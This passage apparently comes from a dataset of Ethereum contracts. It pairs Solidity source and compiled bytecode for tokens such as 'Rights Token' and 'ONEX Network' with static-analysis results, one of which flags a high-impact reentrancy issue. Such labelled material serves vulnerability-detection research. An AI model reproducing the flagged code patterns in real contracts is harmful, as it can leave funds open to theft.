5781602001602082028036833780820191505090505b50905030816000815181106123c3576123c2613433565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561246557600080fd5b505afa158015612479573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061249d9190613de1565b816001815181106124b1576124b0613433565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061251830601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117b8565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161257c959493929190613f07565b600060405180830381600087803b15801561259657600080fd5b505af11580156125aa573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806125da576125d961266e565b5b6125e58484846126b1565b806125f3576125f261287c565b5b50505050565b6000806000612606612890565b9150915061261d818361262490919063ffffffff16565b9250505090565b600061266683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506128ec565b905092915050565b6000600c5414801561268257506000600d54145b1561268c576126af565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806126c38761294f565b95509550955095509550955061272186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129b790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127b685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a0190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061280281612a5f565b61280c8483612b1c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161286991906130e3565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000664a9b638448800090506128c2664a9b638448800060065461262490919063ffffffff16565b8210156128df57600654664a9b63844880009350935050506128e8565b81819350935050505b9091565b60008083118290612933576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161292a9190612f8c565b60405180910390fd5b50600083856129429190613f90565b9050809150509392505050565b600080600080600080600080600061296c8a600c54600d54612b56565b925092509250600061297c6125f9565b9050600080600061298f8e878787612bec565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129f983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612208565b905092915050565b6000808284612a109190613c1e565b905083811015612a55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a4c9061400d565b60405180910390fd5b8091505092915050565b6000612a696125f9565b90506000612a808284612c7590919063ffffffff16565b9050612ad481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a0190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612b31826006546129b790919063ffffffff16565b600681905550612b4c81600754612a0190919063ffffffff16565b6007819055505050565b600080600080612b826064612b74888a612c7590919063ffffffff16565b61262490919063ffffffff16565b90506000612bac6064612b9e888b612c7590919063ffffffff16565b61262490919063ffffffff16565b90506000612bd582612bc7858c6129b790919063ffffffff16565b6129b790919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c058589612c7590919063ffffffff16565b90506000612c1c8689612c7590919063ffffffff16565b90506000612c338789612c7590919063ffffffff16565b90506000612c5c82612c4e85876129b790919063ffffffff16565b6129b790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c885760009050612cea565b60008284612c96919061402d565b9050828482612ca59190613f90565b14612ce5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cdc906140f9565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612d5282612d09565b810181811067ffffffffffffffff82111715612d7157612d70612d1a565b5b80604052505050565b6000612d84612cf0565b9050612d908282612d49565b919050565b600067ffffffffffffffff821115612db057612daf612d1a565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612df182612dc6565b9050919050565b612e0181612de6565b8114612e0c57600080fd5b50565b600081359050612e1e81612df8565b92915050565b6000612e37612e3284612d95565b612d7a565b90508083825260208201905060208402830185811115612e5a57612e59612dc1565b5b835b81811015612e835780612e6f8882612e0f565b845260208401935050602081019050612e5c565b5050509392505050565b600082601f830112612ea257612ea1612d04565b5b8135612eb2848260208601612e24565b91505092915050565b600060208284031215612ed157612ed0612cfa565b5b600082013567ffffffffffffffff811115612eef57612eee612cff565b5b612efb84828501612e8d565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612f3e578082015181840152602081019050612f23565b83811115612f4d576000848401525b50505050565b6000612f5e82612f04565b612f688185612f0f565b9350612f78818560208601612f20565b612f8181612d09565b840191505092915050565b60006020820190508181036000830152612fa68184612f53565b905092915050565b6000819050919050565b612fc181612fae565b8114612fcc57600080fd5b50565b600081359050612fde81612fb8565b92915050565b60008060408385031215612ffb57612ffa612cfa565b5b600061300985828601612e0f565b925050602061301a85828601612fcf565b9150509250929050565b60008115159050919050565b61303981613024565b82525050565b60006020820190506130546000830184613030565b92915050565b6000819050919050565b600061307f61307a61307584612dc6565b61305a565b612dc6565b9050919050565b600061309182613064565b9050919050565b60006130a382613086565b9050919050565b6130b381613098565b82525050565b60006020820190506130ce60008301846130aa565b92915050565b6130dd81612fae565b82525050565b60006020820190506130f860008301846130d4565b92915050565b60008060006060848603121561311757613116612cfa565b5b600061312586828701612e0f565b935050602061313686828701612e0f565b925050604061314786828701612fcf565b9150509250925092565b600060ff82169050919050565b61316781613151565b82525050565b6000602082019050613182600083018461315e565b92915050565b61319181612de6565b82525050565b60006020820190506131ac6000830184613188565b92915050565b6000602082840312156131c8576131c7612cfa565b5b60006131d684828501612e0f565b91505092915050565b6131e881613024565b81146131f357600080fd5b50565b600081359050613205816131df565b92915050565b60006020828403121561322157613220612cfa565b5b600061322f848285016131f6565b91505092915050565b60006020828403121561324e5761324d612cfa565b5b600061325c84828501612fcf565b91505092915050565b6000806000806080858703121561327f5761327e612cfa565b5b600061328d87828801612fcf565b945050602061329e87828801612fcf565b93505060406132af87828801612fcf565b92505060606132c087828801612fcf565b91505092959194509250565b600080fd5b60008083601f8401126132e7576132e6612d04565b5b8235905067ffffffffffffffff811115613304576133036132cc565b5b6020830191508360208202830111156133205761331f612dc1565b5b9250929050565b6000806000604084860312156133405761333f612cfa565b5b600084013567ffffffffffffffff81111561335e5761335d612cff565b5b61336a868287016132d1565b9350935050602061337d868287016131f6565b9150509250925092565b6000806040838503121561339e5761339d612cfa565b5b60006133ac85828601612e0f565b92505060206133bd85828601612e0f565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006133fd602083612f0f565b9150613408826133c7565b602082019050919050565b6000602082019050818103600083015261342c816133f0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061349c82612fae565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134cf576134ce613462565b5b600182019050919050565b7f4275792072657761726473206d757374206265206265747765656e203025206160008201527f6e64203425000000000000000000000000000000000000000000000000000000602082015250565b6000613536602583612f0f565b9150613541826134da565b604082019050919050565b6000602082019050818103600083015261356581613529565b9050919050565b7f42757920746178206d757374206265206265747765656e20302520616e64203260008201527f3025000000000000000000000000000000000000000000000000000000000000602082015250565b60006135c8602283612f0f565b91506135d38261356c565b604082019050919050565b600060208201905081810360008301526135f7816135bb565b9050919050565b7f53656c6c2072657761726473206d757374206265206265747765656e2030252060008201527f616e642034250000000000000000000000000000000000000000000000000000602082015250565b600061365a602683612f0f565b9150613665826135fe565b604082019050919050565b600060208201905081810360008301526136898161364d565b9050919050565b7f53656c6c20746178206d757374206265206265747765656e20302520616e642060008201527f3230250000000000000000000000000000000000000000000000000000000000602082015250565b60006136ec602383612f0f565b91506136f782613690565b604082019050919050565b6000602082019050818103600083015261371b816136df565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061377e602683612f0f565b915061378982613722565b604082019050919050565b600060208201905081810360008301526137ad81613771565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613810602483612f0f565b915061381b826137b4565b604082019050919050565b6000602082019050818103600083015261383f81613803565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006138a2602283612f0f565b91506138ad82613846565b604082019050919050565b600060208201905081810360008301526138d181613895565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613934602583612f0f565b915061393f826138d8565b604082019050919050565b6000602082019050818103600083015261396381613927565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006139c6602383612f0f565b91506139d18261396a565b604082019050919050565b600060208201905081810360008301526139f5816139b9565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613a58602983612f0f565b9150613a63826139fc565b604082019050919050565b60006020820190508181036000830152613a8781613a4b565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613aea603f83612f0f565b9150613af582613a8e565b604082019050919050565b60006020820190508181036000830152613b1981613add565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613b56601c83612f0f565b9150613b6182613b20565b602082019050919050565b60006020820190508181036000830152613b8581613b49565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613be8602383612f0f565b9150613bf382613b8c565b604082019050919050565b60006020820190508181036000830152613c1781613bdb565b9050919050565b6000613c2982612fae565b9150613c3483612fae565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613c6957613c68613462565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613cd0602383612f0f565b9150613cdb82613c74565b604082019050919050565b60006020820190508181036000830152613cff81613cc3565b9050919050565b6000613d1182612fae565b9150613d1c83612fae565b925082821015613d2f57613d2e613462565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613d96602a83612f0f565b9150613da182613d3a565b604082019050919050565b60006020820190508181036000830152613dc581613d89565b9050919050565b600081519050613ddb81612df8565b92915050565b600060208284031215613df757613df6612cfa565b5b6000613e0584828501613dcc565b91505092915050565b6000819050919050565b6000613e33613e2e613e2984613e0e565b61305a565b612fae565b9050919050565b613e4381613e18565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613e7e81612de6565b82525050565b6000613e908383613e75565b60208301905092915050565b6000602082019050919050565b6000613eb482613e49565b613ebe8185613e54565b9350613ec983613e65565b8060005b83811015613efa578151613ee18882613e84565b9750613eec83613e9c565b925050600181019050613ecd565b5085935050505092915050565b600060a082019050613f1c60008301886130d4565b613f296020830187613e3a565b8181036040830152613f3b8186613ea9565b9050613f4a6060830185613188565b613f5760808301846130d4565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613f9b82612fae565b9150613fa683612fae565b925082613fb657613fb5613f61565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613ff7601b83612f0f565b915061400282613fc1565b602082019050919050565b6000602082019050818103600083015261402681613fea565b9050919050565b600061403882612fae565b915061404383612fae565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561407c5761407b613462565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006140e3602183612f0f565b91506140ee82614087565b604082019050919050565b60006020820190508181036000830152614112816140d6565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205c2e175d0cb523d12d0d7e764c1f5b53eb67ad83f7860c1ad4c65e14ec447cb564736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 4,161 |
0x9744521e2e6a0d25f1f805318576230c5c8fc8a0
|
// Unattributed material copyright New Alchemy Limited, 2017. All rights reserved.
pragma solidity >=0.4.10;
// from Zeppelin
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
require(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
require(c>=a && c>=b);
return c;
}
}
// end from Zeppelin
contract Owned {
address public owner;
address newOwner;
function Owned() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract Pausable is Owned {
bool public paused;
function pause() onlyOwner {
paused = true;
}
function unpause() onlyOwner {
paused = false;
}
modifier notPaused() {
require(!paused);
_;
}
}
contract Finalizable is Owned {
bool public finalized;
function finalize() onlyOwner {
finalized = true;
}
modifier notFinalized() {
require(!finalized);
_;
}
}
contract IToken {
function transfer(address _to, uint _value) returns (bool);
function balanceOf(address owner) returns(uint);
}
contract TokenReceivable is Owned {
function claimTokens(address _token, address _to) onlyOwner returns (bool) {
IToken token = IToken(_token);
return token.transfer(_to, token.balanceOf(this));
}
}
contract EventDefinitions {
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Token is Finalizable, TokenReceivable, SafeMath, EventDefinitions, Pausable {
string constant public name = "Rights Token";
uint8 constant public decimals = 8;
string constant public symbol = "RTK";
Controller public controller;
string public motd;
event Motd(string message);
// functions below this line are onlyOwner
function setMotd(string _m) onlyOwner {
motd = _m;
Motd(_m);
}
function setController(address _c) onlyOwner notFinalized {
controller = Controller(_c);
}
// functions below this line are public
function balanceOf(address a) constant returns (uint) {
return controller.balanceOf(a);
}
function totalSupply() constant returns (uint) {
return controller.totalSupply();
}
function allowance(address _owner, address _spender) constant returns (uint) {
return controller.allowance(_owner, _spender);
}
function transfer(address _to, uint _value) onlyPayloadSize(2) notPaused returns (bool success) {
if (controller.transfer(msg.sender, _to, _value)) {
Transfer(msg.sender, _to, _value);
return true;
}
return false;
}
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3) notPaused returns (bool success) {
if (controller.transferFrom(msg.sender, _from, _to, _value)) {
Transfer(_from, _to, _value);
return true;
}
return false;
}
function approve(address _spender, uint _value) onlyPayloadSize(2) notPaused returns (bool success) {
// promote safe user behavior
if (controller.approve(msg.sender, _spender, _value)) {
Approval(msg.sender, _spender, _value);
return true;
}
return false;
}
function increaseApproval (address _spender, uint _addedValue) onlyPayloadSize(2) notPaused returns (bool success) {
if (controller.increaseApproval(msg.sender, _spender, _addedValue)) {
uint newval = controller.allowance(msg.sender, _spender);
Approval(msg.sender, _spender, newval);
return true;
}
return false;
}
function decreaseApproval (address _spender, uint _subtractedValue) onlyPayloadSize(2) notPaused returns (bool success) {
if (controller.decreaseApproval(msg.sender, _spender, _subtractedValue)) {
uint newval = controller.allowance(msg.sender, _spender);
Approval(msg.sender, _spender, newval);
return true;
}
return false;
}
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length >= numwords * 32 + 4);
_;
}
function burn(uint _amount) notPaused {
controller.burn(msg.sender, _amount);
Transfer(msg.sender, 0x0, _amount);
}
// functions below this line are onlyController
modifier onlyController() {
assert(msg.sender == address(controller));
_;
}
function controllerTransfer(address _from, address _to, uint _value) onlyController {
Transfer(_from, _to, _value);
}
function controllerApprove(address _owner, address _spender, uint _value) onlyController {
Approval(_owner, _spender, _value);
}
}
contract Controller is Owned, Finalizable {
Ledger public ledger;
Token public token;
function Controller() {
}
// functions below this line are onlyOwner
function setToken(address _token) onlyOwner {
token = Token(_token);
}
function setLedger(address _ledger) onlyOwner {
ledger = Ledger(_ledger);
}
modifier onlyToken() {
require(msg.sender == address(token));
_;
}
modifier onlyLedger() {
require(msg.sender == address(ledger));
_;
}
// public functions
function totalSupply() constant returns (uint) {
return ledger.totalSupply();
}
function balanceOf(address _a) constant returns (uint) {
return ledger.balanceOf(_a);
}
function allowance(address _owner, address _spender) constant returns (uint) {
return ledger.allowance(_owner, _spender);
}
// functions below this line are onlyLedger
function ledgerTransfer(address from, address to, uint val) onlyLedger {
token.controllerTransfer(from, to, val);
}
// functions below this line are onlyToken
function transfer(address _from, address _to, uint _value) onlyToken returns (bool success) {
return ledger.transfer(_from, _to, _value);
}
function transferFrom(address _spender, address _from, address _to, uint _value) onlyToken returns (bool success) {
return ledger.transferFrom(_spender, _from, _to, _value);
}
function approve(address _owner, address _spender, uint _value) onlyToken returns (bool success) {
return ledger.approve(_owner, _spender, _value);
}
function increaseApproval (address _owner, address _spender, uint _addedValue) onlyToken returns (bool success) {
return ledger.increaseApproval(_owner, _spender, _addedValue);
}
function decreaseApproval (address _owner, address _spender, uint _subtractedValue) onlyToken returns (bool success) {
return ledger.decreaseApproval(_owner, _spender, _subtractedValue);
}
function burn(address _owner, uint _amount) onlyToken {
ledger.burn(_owner, _amount);
}
}
contract Ledger is Owned, SafeMath, Finalizable, TokenReceivable {
Controller public controller;
mapping(address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint public totalSupply;
uint public mintingNonce;
bool public mintingStopped;
// functions below this line are onlyOwner
function Ledger() {
}
function setController(address _controller) onlyOwner notFinalized {
controller = Controller(_controller);
}
function stopMinting() onlyOwner {
mintingStopped = true;
}
function multiMint(uint nonce, uint256[] bits) external onlyOwner {
require(!mintingStopped);
if (nonce != mintingNonce) return;
mintingNonce += 1;
uint256 lomask = (1 << 96) - 1;
uint created = 0;
for (uint i=0; i<bits.length; i++) {
address a = address(bits[i]>>96);
uint value = bits[i]&lomask;
balanceOf[a] = balanceOf[a] + value;
controller.ledgerTransfer(0, a, value);
created += value;
}
totalSupply += created;
}
// functions below this line are onlyController
modifier onlyController() {
require(msg.sender == address(controller));
_;
}
function transfer(address _from, address _to, uint _value) onlyController returns (bool success) {
if (balanceOf[_from] < _value) return false;
balanceOf[_from] = safeSub(balanceOf[_from], _value);
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
return true;
}
function transferFrom(address _spender, address _from, address _to, uint _value) onlyController returns (bool success) {
if (balanceOf[_from] < _value) return false;
var allowed = allowance[_from][_spender];
if (allowed < _value) return false;
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
balanceOf[_from] = safeSub(balanceOf[_from], _value);
allowance[_from][_spender] = safeSub(allowed, _value);
return true;
}
function approve(address _owner, address _spender, uint _value) onlyController returns (bool success) {
// require user to set to zero before resetting to nonzero
if ((_value != 0) && (allowance[_owner][_spender] != 0)) {
return false;
}
allowance[_owner][_spender] = _value;
return true;
}
function increaseApproval (address _owner, address _spender, uint _addedValue) onlyController returns (bool success) {
uint oldValue = allowance[_owner][_spender];
allowance[_owner][_spender] = safeAdd(oldValue, _addedValue);
return true;
}
function decreaseApproval (address _owner, address _spender, uint _subtractedValue) onlyController returns (bool success) {
uint oldValue = allowance[_owner][_spender];
if (_subtractedValue > oldValue) {
allowance[_owner][_spender] = 0;
} else {
allowance[_owner][_spender] = safeSub(oldValue, _subtractedValue);
}
return true;
}
function burn(address _owner, uint _amount) onlyController {
balanceOf[_owner] = safeSub(balanceOf[_owner], _amount);
totalSupply = safeSub(totalSupply, _amount);
}
}
|
0x6060604052600436106101455763ffffffff60e060020a60003504166306fdde03811461014a578063095ea7b3146101d457806318160ddd1461020a57806323b872dd1461022f578063313ce567146102575780633f4ba83a1461028057806342966c68146102955780634bb278f3146102ab5780635aab4ac8146102be5780635c975abb146102d15780635fe59b9d146102e4578063661884631461033557806369ffa08a1461035757806370a082311461037c57806379ba50971461039b5780638456cb59146103ae5780638da5cb5b146103c15780638e339b66146103f057806392eefe9b1461041857806395d89b41146104375780639b5043871461044a578063a6f9dae114610472578063a9059cbb14610491578063b3f05b97146104b3578063d73dd623146104c6578063dd62ed3e146104e8578063f77c47911461050d575b600080fd5b341561015557600080fd5b61015d610520565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610199578082015183820152602001610181565b50505050905090810190601f1680156101c65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101df57600080fd5b6101f6600160a060020a0360043516602435610557565b604051901515815260200160405180910390f35b341561021557600080fd5b61021d610658565b60405190815260200160405180910390f35b341561023a57600080fd5b6101f6600160a060020a03600435811690602435166044356106b6565b341561026257600080fd5b61026a6107ad565b60405160ff909116815260200160405180910390f35b341561028b57600080fd5b6102936107b2565b005b34156102a057600080fd5b6102936004356107ee565b34156102b657600080fd5b61029361089b565b34156102c957600080fd5b61015d6108ed565b34156102dc57600080fd5b6101f661098b565b34156102ef57600080fd5b61029360046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061099b95505050505050565b341561034057600080fd5b6101f6600160a060020a0360043516602435610a65565b341561036257600080fd5b6101f6600160a060020a0360043581169060243516610bd9565b341561038757600080fd5b61021d600160a060020a0360043516610cc6565b34156103a657600080fd5b610293610d35565b34156103b957600080fd5b610293610d7e565b34156103cc57600080fd5b6103d4610dc0565b604051600160a060020a03909116815260200160405180910390f35b34156103fb57600080fd5b610293600160a060020a0360043581169060243516604435610dcf565b341561042357600080fd5b610293600160a060020a0360043516610e33565b341561044257600080fd5b61015d610ea5565b341561045557600080fd5b610293600160a060020a0360043581169060243516604435610edc565b341561047d57600080fd5b610293600160a060020a0360043516610f2e565b341561049c57600080fd5b6101f6600160a060020a0360043516602435610f78565b34156104be57600080fd5b6101f661105b565b34156104d157600080fd5b6101f6600160a060020a036004351660243561107c565b34156104f357600080fd5b61021d600160a060020a0360043581169060243516611106565b341561051857600080fd5b6103d461117e565b60408051908101604052600c81527f52696768747320546f6b656e0000000000000000000000000000000000000000602082015281565b60006002604436101561056657fe5b60015460a860020a900460ff161561057d57600080fd5b600254600160a060020a031663e1f21c6733868660405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156105e057600080fd5b5af115156105ed57600080fd5b505050604051805190501561064c5783600160a060020a031633600160a060020a03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258560405190815260200160405180910390a360019150610651565b600091505b5092915050565b600254600090600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561069a57600080fd5b5af115156106a757600080fd5b50505060405180519150505b90565b6000600360643610156106c557fe5b60015460a860020a900460ff16156106dc57600080fd5b600254600160a060020a03166315dacbea3387878760405160e060020a63ffffffff8716028152600160a060020a0394851660048201529284166024840152921660448201526064810191909152608401602060405180830381600087803b151561074657600080fd5b5af1151561075357600080fd5b50505060405180519050156107a05783600160a060020a031685600160a060020a03166000805160206112268339815191528560405190815260200160405180910390a3600191506107a5565b600091505b509392505050565b600881565b60005433600160a060020a039081169116146107cd57600080fd5b6001805475ff00000000000000000000000000000000000000000019169055565b60015460a860020a900460ff161561080557600080fd5b600254600160a060020a0316639dc29fac338360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561085b57600080fd5b5af1151561086857600080fd5b505050600033600160a060020a03166000805160206112268339815191528360405190815260200160405180910390a350565b60005433600160a060020a039081169116146108b657600080fd5b6001805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109835780601f1061095857610100808354040283529160200191610983565b820191906000526020600020905b81548152906001019060200180831161096657829003601f168201915b505050505081565b60015460a860020a900460ff1681565b60005433600160a060020a039081169116146109b657600080fd5b60038180516109c992916020019061118d565b507f6e7666d68b6b7c619b2fe5a2c3dd0564bf3e02b0508b217d7a28ce5805583eab8160405160208082528190810183818151815260200191508051906020019080838360005b83811015610a28578082015183820152602001610a10565b50505050905090810190601f168015610a555780820380516001836020036101000a031916815260200191505b509250505060405180910390a150565b60008060026044361015610a7557fe5b60015460a860020a900460ff1615610a8c57600080fd5b600254600160a060020a031663f019c26733878760405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b1515610aef57600080fd5b5af11515610afc57600080fd5b5050506040518051905015610bcc57600254600160a060020a031663dd62ed3e338760405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b1515610b6357600080fd5b5af11515610b7057600080fd5b50505060405180519050915084600160a060020a031633600160a060020a03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405190815260200160405180910390a360019250610bd1565b600092505b505092915050565b60008054819033600160a060020a03908116911614610bf757600080fd5b5082600160a060020a03811663a9059cbb84826370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610c4e57600080fd5b5af11515610c5b57600080fd5b5050506040518051905060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610ca857600080fd5b5af11515610cb557600080fd5b505050604051805195945050505050565b600254600090600160a060020a03166370a082318360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610d1957600080fd5b5af11515610d2657600080fd5b50505060405180519392505050565b60015433600160a060020a0390811691161415610d7c576001546000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911790555b565b60005433600160a060020a03908116911614610d9957600080fd5b6001805475ff000000000000000000000000000000000000000000191660a860020a179055565b600054600160a060020a031681565b60025433600160a060020a03908116911614610de757fe5b81600160a060020a031683600160a060020a03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405190815260200160405180910390a3505050565b60005433600160a060020a03908116911614610e4e57600080fd5b60015474010000000000000000000000000000000000000000900460ff1615610e7657600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60408051908101604052600381527f52544b0000000000000000000000000000000000000000000000000000000000602082015281565b60025433600160a060020a03908116911614610ef457fe5b81600160a060020a031683600160a060020a03166000805160206112268339815191528360405190815260200160405180910390a3505050565b60005433600160a060020a03908116911614610f4957600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600060026044361015610f8757fe5b60015460a860020a900460ff1615610f9e57600080fd5b600254600160a060020a031663beabacc833868660405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561100157600080fd5b5af1151561100e57600080fd5b505050604051805190501561064c5783600160a060020a031633600160a060020a03166000805160206112268339815191528560405190815260200160405180910390a360019150610651565b60015474010000000000000000000000000000000000000000900460ff1681565b6000806002604436101561108c57fe5b60015460a860020a900460ff16156110a357600080fd5b600254600160a060020a031663bcdd612133878760405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b1515610aef57600080fd5b600254600090600160a060020a031663dd62ed3e848460405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b151561116157600080fd5b5af1151561116e57600080fd5b5050506040518051949350505050565b600254600160a060020a031681565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106111ce57805160ff19168380011785556111fb565b828001600101855582156111fb579182015b828111156111fb5782518255916020019190600101906111e0565b5061120792915061120b565b5090565b6106b391905b8082111561120757600081556001016112115600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058200695dd9aa2f7581c369ce9d3fab90855e55f1936bf04d083226261fc27cfd6ac0029
|
{"success": true, "error": null, "results": {}}
| 4,162 |
0x085b0fdf115aa9e16ae1bddd396ce1f993c52220
|
pragma solidity 0.4.19;
// -------------------------------------------------------------------------------------------
// Created by HIGHLANDER NETWORK
// "ONEX Network"
//
// Homepage: https://onex.network
// ONEX Network is a ERC223 Proof-of-Stake standard token on Ethereum with a max supply of 10 Million.
// For details, please visit: https://github.com/HighlanderNetwork/ONEX-Network
// -------------------------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
